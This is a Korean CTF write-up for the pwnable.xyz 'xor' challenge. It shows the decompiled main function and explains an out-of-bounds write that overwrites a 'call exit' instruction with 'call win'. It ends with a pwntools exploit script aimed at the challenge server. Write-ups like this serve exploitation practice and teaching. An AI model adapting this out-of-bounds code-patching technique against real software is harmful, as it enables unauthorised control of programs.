pwnable.xyz - xor
2021. 7. 25. 10:57ㆍPwnable
기존에 접하지 못했던 새로운 문제였다.
삽질도 많이 했었고, 호출하지 않은 함수에 대해서 offset을 구해서 가져오는 과정에서 opcode를 사용해야하는 것도 처음에는 몰랐다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6 = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
break;
result[v6] = v5 ^ v4;
printf("Result: %ld\n", result[v6]);
}
exit(1);
}
main코드는 위와 같이 나오는데
요약해서 설명하면 result[v6] 부분을 oob를 터트려서 exit대신에 win을 호출하게 하면 된다.
이때 if문 조건인 v4~v3까지 맞춰줘야한다.
v6의 경우는 간단하게 exit의 위치와 result의 위치의 차를 구해주면 되는데 이는
(call_exit-result_add)/8
이렇게 구할 수 있고,
v4변수와 v5변수의 xor값이 call win 이 되어야하는데 둘중 하나를 1로 고정시키고 하나에 값을 입력해주면 된다.
구하는 방법은
win - call exit —> 0xa21 - 0xacd = 0xffffff54 이므로
여기에 call opcode인 e8을 붙여서 0xffffff54e8을 넘겨주면 된다.
payload는 아래와 같다.
from pwn import *
r = remote("svc.pwnable.xyz", 30029)
#r = process("./challenge")
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
win_add = e.sym['win']
call_exit = 0x0000000000000AC8
result_add = 0x0000000000202200
first = 1
second = 0xffffff54e8
third = (call_exit-result_add)/8
pay = str(first) + " " + str(int(second)) + " " + str(third)
r.sendline(pay)
r.interactive()
'Pwnable' 카테고리의 다른 글
pwnable.xyz - sub (0) | 2021.07.28 |
---|---|
pwnable.xyz - Jmp table (0) | 2021.07.26 |
HactCTF - 풍수지리설 (0) | 2021.07.24 |
pwnable.xyz - misalignment (0) | 2021.07.19 |
dreamhack.io - validator (0) | 2021.07.13 |